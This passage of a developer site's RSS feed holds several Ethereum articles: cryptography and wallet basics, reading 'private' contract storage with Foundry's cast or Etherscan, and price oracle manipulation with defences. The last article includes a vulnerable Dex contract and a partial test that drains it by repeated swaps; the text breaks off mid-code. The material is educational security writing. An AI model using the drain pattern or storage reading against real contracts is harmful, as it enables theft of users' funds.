&lt;p&gt;Generating a private key means picking a truly random number between &lt;strong&gt;1&lt;/strong&gt; and a huge number called &lt;strong&gt;2^256&lt;/strong&gt;. That’s a number with 77 digits — more than the number of atoms in the universe!&lt;/p&gt;
&lt;p&gt;Wallets usually use:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Your mouse movements, or&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Your keystrokes, or&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Other random inputs to generate a secure number.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It’s important that the random number is not predictable, or someone might guess it. Ethereum wallets use strong built-in random number generators to do this safely.&lt;/p&gt;
&lt;h3 id=&quot;what-is-a-public-key-&quot;&gt;What Is a Public Key?&lt;/h3&gt;
&lt;p&gt;A &lt;strong&gt;public key&lt;/strong&gt; is generated from the private key using elliptic curve multiplication. This is a kind of special math done on a curve called secp256k1.&lt;/p&gt;
&lt;p&gt;Let’s simplify:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;You start with your private key (a number).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You multiply it with a special constant point (called G).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The result is your public key — two coordinates (x, y) on a curve.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here’s the math (don’t worry if it looks scary):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-vbnet&quot;&gt;Public Key = Private Key × Generator Point (G)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a one-way function — easy to do, impossible to reverse.&lt;/p&gt;
&lt;h3 id=&quot;ethereum-addresses&quot;&gt;Ethereum Addresses&lt;/h3&gt;
&lt;p&gt;An Ethereum address is a shortened version of the public key. It's 40 characters long (20 bytes), usually written in hexadecimal.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;0x742d35Cc6634C0532925a3b844Bc454e4438f44e

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is what you share to receive ETH or tokens. It’s like your bank account number, but public.&lt;/p&gt;
&lt;h4 id=&quot;-digital-signatures-in-detail&quot;&gt;✍️ Digital Signatures in Detail&lt;/h4&gt;
&lt;p&gt;Let’s say Alice wants to send ETH:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;She creates a transaction with details like amount, recipient, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;She uses her private key to sign the transaction.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The signature is sent with the transaction to the Ethereum network.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Anyone can verify the signature using Alice’s address.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This proves:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;The transaction came from Alice.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The transaction wasn’t tampered with.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Alice authorized the action.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No passwords, no usernames, just math.&lt;/p&gt;
&lt;h4 id=&quot;is-ethereum-encrypted-&quot;&gt;Is Ethereum Encrypted?&lt;/h4&gt;
&lt;p&gt;No. Ethereum is not encrypted. Everything — including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Transactions,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Contract code,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Balances,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Messages,&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;...is visible to everyone. This is necessary for transparency and trust — it allows everyone to verify what’s happening.&lt;/p&gt;
&lt;p&gt;In the future, Ethereum may use advanced cryptography like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Zero-Knowledge Proofs – to prove something without showing it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Homomorphic Encryption – to do computations on encrypted data.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But right now, Ethereum’s focus is on verification, not secrecy.&lt;/p&gt;
&lt;h3 id=&quot;keep-your-private-key-safe-&quot;&gt;Keep Your Private Key Safe!&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Never share it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Never screenshot it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Always back it up safely (use hardware wallets or seed phrases).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If you lose it, you lose access forever.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;final-thoughts-1&quot;&gt;Final Thoughts&lt;/h3&gt;
&lt;p&gt;Cryptography might seem hard, but it powers everything in Ethereum — from &lt;strong&gt;accounts&lt;/strong&gt;, to &lt;strong&gt;transactions&lt;/strong&gt;, to &lt;strong&gt;smart contracts&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The most important things to remember:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Your private key = control over your ETH.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Your signature = proof that you own it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Your address = your identity on Ethereum.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With public key cryptography and smart math, Ethereum allows you to be your own bank — secure, open, and unstoppable.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/3931/cryptography-in-ethereum</guid>
<pubDate>Sat, 12 Jul 2025 19:49:26 +0000</pubDate>
</item>
<item>
<title>Ethereum Basics: From Wallets to Smart Contracts</title>
<link>https://coderlegion.com/3852/ethereum-basics-from-wallets-to-smart-contracts</link>
<description>&lt;h3 id=&quot;opening-the-door-wallets-amp-addresses&quot;&gt;Opening the Door: Wallets &amp;amp; Addresses&lt;/h3&gt;
&lt;p&gt;A wallet isn’t just where you “keep your crypto”—it’s your digital identity on Ethereum.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Public Address&lt;/strong&gt; = like your email (where people send you ETH)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Private Key&lt;/strong&gt; = your super-secret password to approve transactions&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;With great private keys comes great responsibility.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Keep your private key off screenshots, sticky notes, or the back of your hand. Seriously.&lt;/p&gt;
&lt;h4 id=&quot;sending-eth-how-transactions-work&quot;&gt;Sending ETH: How Transactions Work&lt;/h4&gt;
&lt;p&gt;Think of a transaction like mailing a check:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;You write the address + amount&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You sign it with your private key&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You pay a gas fee (like postage)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Ethereum confirms and records it forever&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Once it's in, it’s in. Ethereum doesn’t do &lt;strong&gt;“undo.”&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id=&quot;diving-into-smart-contracts&quot;&gt;Diving Into Smart Contracts&lt;/h4&gt;
&lt;p&gt;A &lt;strong&gt;smart contract&lt;/strong&gt; is like a vending machine that runs on code:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You send ETH → The machine checks the rules → It delivers the snack (or doesn’t)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These contracts automate everything from NFTs to DeFi lending to on-chain games—no humans in between.&lt;/p&gt;
&lt;h4 id=&quot;-the-tools-you-need&quot;&gt;⚙️ The Tools You Need&lt;/h4&gt;
&lt;p&gt;Your Ethereum toolbox :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://metamask.io/&quot;&gt;MetaMask&lt;/a&gt; – Your wallet and dApp gateway&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://remix-project.org/?lang=en&quot;&gt;Remix IDE&lt;/a&gt; – Try writing your first contract in the browser&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://archive.trufflesuite.com/&quot;&gt;Truffle&lt;/a&gt; / &lt;a rel=&quot;nofollow&quot; href=&quot;https://hardhat.org/&quot;&gt;Hardhat&lt;/a&gt; – Full toolkits for bigger dApps&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These help you write, test, and deploy Solidity code like a pro.&lt;/p&gt;
&lt;h3 id=&quot;so-you-met-a-fox-and-accidentally-discovered-the-world-computer&quot;&gt;So You Met a Fox… and Accidentally Discovered the World Computer&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/felikgt5koyi9vskgio6.png&quot; alt=&quot;Metamask&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;At first, it looked like just another crypto wallet... until I realized I had downloaded a portal to a decentralized world computer.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;-ethereum-is-more-than-a-coin-it-s-a-world-computer&quot;&gt;♦ Ethereum Is More Than a Coin — It’s a World Computer&lt;/h4&gt;
&lt;p&gt;Ethereum runs on something called the Ethereum Virtual Machine (EVM) — a fancy way of saying:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Everyone runs the same code, and everyone agrees on the result.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Every Ethereum node is like a tiny brain in a big robot. Together, they make Ethereum a global, unstoppable, tamper-proof machine.&lt;/p&gt;
&lt;p&gt;You’ve heard of the cloud? Ethereum is the thunderstorm. ⚡&lt;/p&gt;
&lt;h4 id=&quot;eoas-vs-contracts-who-runs-the-show-&quot;&gt;EOAs vs. Contracts — Who Runs the Show?&lt;/h4&gt;
&lt;p&gt;You (and MetaMask) are using an Externally Owned Account (EOA):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Has a private key&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can send transactions&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can own and control smart contracts&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But the smart contracts themselves? They’re contract accounts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;No private key&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can receive ETH&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;React only when triggered&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can think of EOAs as players and contracts as automated chessboards that move when touched.&lt;/p&gt;
&lt;h4 id=&quot;your-first-contract-the-testnet-faucet&quot;&gt;Your First Contract: The Testnet Faucet&lt;/h4&gt;
&lt;p&gt;Let’s make it rain (test ETH)!&lt;/p&gt;
&lt;p&gt;Here’s a super simple (but very insecure) smart contract:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-solidity&quot;&gt;function withdraw(uint amount) public {
  require(amount &amp;lt;= 0.1 ether);
  msg.sender.transfer(amount);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This lets anyone request up to 0.1 ether. It’s like asking a magical bank to give you some coins—if the rules allow.&lt;/p&gt;
&lt;p&gt;Step-by-step:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Paste this into Remix IDE&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Compile it with the Solidity compiler&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Deploy it with MetaMask on the Ropsten testnet&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Send some ETH to the contract&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Call withdraw(100000000000000000) and voilà! ETH sent!&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Congratulations—you just made money move with code.&lt;/p&gt;
&lt;h4 id=&quot;what-you-really-did&quot;&gt;What You Really Did&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Created a wallet&lt;/li&gt;
&lt;li&gt;Funded it with test ETH&lt;/li&gt;
&lt;li&gt;Wrote a contract&lt;/li&gt;
&lt;li&gt;Deployed it on the testnet&lt;/li&gt;
&lt;li&gt;Interacted with Ethereum like a dev&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;final-thoughts-2&quot;&gt;Final Thoughts&lt;/h3&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;You didn’t just install a wallet. You just shook hands with the future of the internet.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ethereum lets you go beyond holding coins—it lets you build logic, automation, and applications around value itself.&lt;/p&gt;
&lt;p&gt;Welcome to Web3. This is just the beginning.&lt;/p&gt;
</description>
<category>Blockchain</category>
<guid isPermaLink="true">https://coderlegion.com/3852/ethereum-basics-from-wallets-to-smart-contracts</guid>
<pubDate>Wed, 09 Jul 2025 13:50:42 +0000</pubDate>
</item>
<item>
<title>Private variables are not really private on EVM</title>
<link>https://coderlegion.com/3833/private-variables-are-not-really-private-on-evm</link>
<description>&lt;h2 id=&quot;private-variables-on-evm-blockchains-are-not-really-private-and-hidden&quot;&gt;&lt;strong&gt;Private variables on EVM blockchains are not really private and hidden&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Do you think storing important keys and data in private key's are safer on EVM chains. Definition say's all, EVM is an transparent chain&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attackers&lt;/strong&gt; will always looks for deployed contract addresses of contracts that are vulnerable and contains funds&lt;/li&gt;
&lt;li&gt;marking a variable as &lt;strong&gt;private&lt;/strong&gt; only prevents other contracts from accessing it. &lt;/li&gt;
&lt;li&gt;State variables marked as &lt;strong&gt;private and local variables are still publicly accessible&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;simple-contract-scenario&quot;&gt;&lt;strong&gt;Simple contract scenario&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The given contract stores &lt;code&gt;password&lt;/code&gt; on-chain and it is marked as &lt;code&gt;private variable&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;contract Vault {
        bool public locked;
@&amp;gt;  bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }
    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    } 
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Above Contract stored password inside an private variable, thinking that it's safer and no one can access it!!!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;simple-way-to-access-private-and-public-data-of-deployed-contracts&quot;&gt;&lt;strong&gt;Simple way to access private and public data of deployed contracts&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;With the help of &lt;code&gt;contract addess&lt;/code&gt; and &lt;code&gt;storage layout&lt;/code&gt;, attackers can easily read the data from private and public data stored on-chain&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;1-through-cast-commands-&quot;&gt;1. &lt;strong&gt;Through cast commands&lt;/strong&gt;:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Dev's using foundry can use &lt;code&gt;cast commands&lt;/code&gt; to access storage layout of any contract using below commands.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-sh&quot;&gt;cast storage --rpc-url $SEPOLIA_RPC_URL --etherscan-api-key $ETHERSCAN_API_KEY CONTRACT_ADDRESS SLOT_NUMBER
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This command can be used to easily read private variables stored on-chain&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;2-through-etherscan-&quot;&gt;2. &lt;strong&gt;Through Etherscan&lt;/strong&gt;:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Go to &lt;code&gt;Etherscan&lt;/code&gt; and search for &lt;code&gt;contract address&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Copy and explore the &lt;code&gt;TNX hash from internal transactions&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=14878155312318759240&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Go for &lt;code&gt;state&lt;/code&gt; and look for all &lt;code&gt;storage value&lt;/code&gt; present!!!&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://media.daily.dev/image/upload/s--zu3-liw0--/f_auto/v1751011864/ugc/content_bb67d3b1-b31b-4f4d-9fcc-78ac559a7f56?_a=BAMClqZW0&quot; alt=&quot;PRIVATE-DATA-2&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://media.daily.dev/image/upload/s--3Uttqpoc--/f_auto/v1751011870/ugc/content_a86d4e88-5a7a-40de-8723-acc06926d127?_a=BAMClqZW0&quot; alt=&quot;PRIVATE-DATA-3&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;try-this-ctf-to-gain-more-understanding&quot;&gt;Try this CTF to gain more understanding&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://ethernaut.openzeppelin.com/level/8&quot;&gt;https://ethernaut.openzeppelin.com/level/8&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;real-time-case-studies-you-want-to-look&quot;&gt;Real time case studies you want to look&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell&quot;&gt;https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;so-be-aware-of-what-you-are-storing-on-chain-and-how-you-are-enabling-attackers-to-explore-your-contract-and-drains-out-all-funds&quot;&gt;So be aware of what you are storing on-chain and how you are enabling attackers to explore your contract and drains out all funds&lt;/h3&gt;
</description>
<category>Blockchain Sec</category>
<guid isPermaLink="true">https://coderlegion.com/3833/private-variables-are-not-really-private-on-evm</guid>
<pubDate>Tue, 08 Jul 2025 20:22:09 +0000</pubDate>
</item>
<item>
<title>What are Price Oracle Manipulation Attacks in Blockchain contracts and EVM???</title>
<link>https://coderlegion.com/3734/what-are-price-oracle-manipulation-attacks-in-blockchain-contracts-and-evm</link>
<description>&lt;h2 id=&quot;oracles-simple-introduction&quot;&gt;&lt;strong&gt;Oracles: Simple Introduction&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Oracles&lt;/code&gt; are &lt;code&gt;external data providers&lt;/code&gt; that bring off-chain data to on-chain smart contracts!!!!&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DeFi protocols&lt;/code&gt; with &lt;code&gt;Liquidity Pools&lt;/code&gt; are considered as &lt;code&gt;oracles&lt;/code&gt; -&amp;gt; Such as Uniswap, Sushiswap, etc.&lt;/li&gt;
&lt;li&gt;DeFi protocols, &lt;code&gt;who rely on the on-chain price of an asset&lt;/code&gt; in order to function &lt;code&gt;uses oracles&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;any device that delivers the price of an asset (for example, ETH, USD, or BTC) to be considered an oracle.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;oracles-and-defi-protocols-&quot;&gt;&lt;strong&gt;Oracles and DeFi Protocols&lt;/strong&gt;:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;DeFi protocols need &lt;code&gt;to liquidate a user’s loan&lt;/code&gt; Decisisons are made based on &lt;code&gt;data provided by oracles&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;Chainlink price feeds, Tellor and Uniswap(TWAP)&lt;/code&gt; are some example of oracles&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;On-chain protocols with &lt;code&gt;liquidity pools&lt;/code&gt; are considered as &lt;code&gt;oracles&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protocols using &lt;code&gt;liquidity pools&lt;/code&gt; as oracles are highly vulnerable to &lt;code&gt;price oracle manipulation attacks&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;price-oracle-manipulation-attacks&quot;&gt;&lt;strong&gt;Price Oracle Manipulation Attacks&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Price oracle manipulation attacks happen when an oracle’s price feed is &lt;code&gt;artificially manipulated from an attacker&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;This manipulation can dramatically &lt;code&gt;affect behavior within DeFi protocols&lt;/code&gt; that rely on that oracle for their &lt;code&gt;internal logic.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;These alterations can create arbitrage opportunities&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Oracle manipulation attacks&lt;/code&gt; occur when we &lt;code&gt;manipulate the information the oracle is sending to the blockchain&lt;/code&gt;, thereby impacting the action being executed on-chain to the benefit of the manipulator.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-does-price-oracle-manipulation-attacks-work-&quot;&gt;&lt;strong&gt;How does Price Oracle Manipulation Attacks Work?&lt;/strong&gt;:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Most oracle price manipulation attacks occur through the use of &lt;code&gt;Flash Loans&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Attackers can &lt;code&gt;exploit Flash Loans to alter the price of assets&lt;/code&gt; in automated market makers such as Uniswap, &lt;/li&gt;
&lt;li&gt;&lt;code&gt;changing the spot price ratio&lt;/code&gt; of a token before the lender smart contract has a chance to look up the token again.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;some-important-things-to-keep-in-mind-&quot;&gt;&lt;strong&gt;Some important things to keep in mind:&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;type of oracle defi protocols&lt;/strong&gt; using determines how likely they are vulnerable to &lt;code&gt;price oracle manipulation attacks&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;Protocols using a liquidity pool&lt;/code&gt; as their oracle are essentially 99.9% likely to be exploited&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Better oracles to be used:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Oracles like Chainlink&lt;/code&gt;, are harder to break!!!!&lt;/li&gt;
&lt;li&gt;Uniswap's &lt;code&gt;TWAP(time weighted average price)&lt;/code&gt; are less-accurate but more secure!!!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-to-prevent-price-oracle-manipulation-attacks-&quot;&gt;&lt;strong&gt;How to prevent Price Oracle Manipulation Attacks?&lt;/strong&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Choose the oracle carefully&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Which data feeds are being aggregated by the oracle?&lt;/li&gt;
&lt;li&gt;Is this data being fetched from centralized exchanges, decentralized ones, or both?&lt;/li&gt;
&lt;li&gt;Which statistical method is being used to aggregate this data into a single output?&lt;/li&gt;
&lt;li&gt;How does the oracle work out dispute mechanisms in case there’s discrepancies between the nodes?&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Have backup systems:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Dual oracle system &lt;code&gt;[Chainlink price feeds + Uniswap TWAP]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Use decentralized oracles over centralized ones:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Common examples of decentralized oracles are: &lt;code&gt;Chainlink, API3, and Synthetix&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;example-contract-and-attack-work-flow-of-price-oracle-manipulation-attack&quot;&gt;Example contract and Attack work flow of Price Oracle Manipulation Attack&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Simple contract that swaps tokens (tokenA and tokenB)&lt;/li&gt;
&lt;li&gt;This contract uses &lt;code&gt;getSwapPrice()&lt;/code&gt; to get the price of tokenA and tokenB&lt;/li&gt;
&lt;li&gt;Dex contract stores all funds(tokenA and tokenB)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;contract Dex is Ownable {
    /// @dev function swaps tokenA and tokenB
    /// @param amountIn amount of 'from' token to swap
    /// @param amountOut amount of 'to' token to swap
    function swap(address from, address to, uint256 amountIn) public {
        require((from == token1 &amp;amp;&amp;amp; to == token2) || (from == token2 &amp;amp;&amp;amp; to == token1), &quot;Invalid tokens&quot;);
        require(IERC20(from).balanceOf(msg.sender) &amp;gt;= amountIn, &quot;Not enough to swap&quot;);

        uint256 swapAmount = getSwapPrice(from, to, amountIn); // this get the amountOut price
        
        IERC20(from).transferFrom(msg.sender, address(this), amountIn); // transfer from user to contract
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount); // transfer from contract to user
    }

    /// @dev function returns the amountOut price for token
    /// @param amountOut amount of 'to' token to swap
    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Below test will try to &lt;code&gt;swap tokens(tokenA and tokenB) alternatively using swap() function from Dex contract&lt;/code&gt; to manipulate the price and drain all funds from Dex contract!!!!&lt;/li&gt;
&lt;li&gt;Target -&amp;gt; drain all tokenA from Dex contract&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;contract DexTest is Test{
    function setUp() public {
        /// @dev consider complete initial setup for Dex contract, tokenA, tokenB
        /// @dev contract -&amp;gt; 100 tokenA and 100 tokenB
        /// @dev attacker -&amp;gt; 10 tokenA and 10 tokenB
    }

    function test_CreatePriceManipulationAttack_usingDEX() public {
        // Initial state
        console.log(&quot;--- Initial State ---&quot;);
        console.log(&quot;DEX token1 balance:&quot;, token1.balanceOf(address(dex)));
        console.log(&quot;DEX token2 balance:&quot;, token2.balanceOf(address(dex)));
        console.log(&quot;User token1 balance:&quot;, token1.balanceOf(user));
        console.log(&quot;User token2 balance:&quot;, token2.balanceOf(user));

        vm.startPrank(user);
        
        // Round 1: Swap 10 token1 -&amp;gt; token2
        uint256 swapAmount1 = dex.getSwapPrice(address(token1), address(token2), 10);
        dex.swap(address(token1), address(token2), 10);
        
        // Round 2: Swap all token2 back -&amp;gt; token1
        uint256 userToken2Balance = token2.balanceOf(user);
        uint256 swapAmount2 = dex.getSwapPrice(address(token2), address(token1), userToken2Balance);
        dex.swap(address(token2), address(token1), userToken2Balance);
        
        
        // Continue the attack pattern until we can drain all token1
        uint256 round = 3;
        while (token1.balanceOf(address(dex)) &amp;gt; 0 &amp;amp;&amp;amp; round &amp;lt;= 10) {
            
            if (round % 2 == 1) {
                // Odd rounds: token1 -&amp;gt; token2
                uint256 userToken1 = token1.balanceOf(user);
                if (userToken1 &amp;gt; 0) {
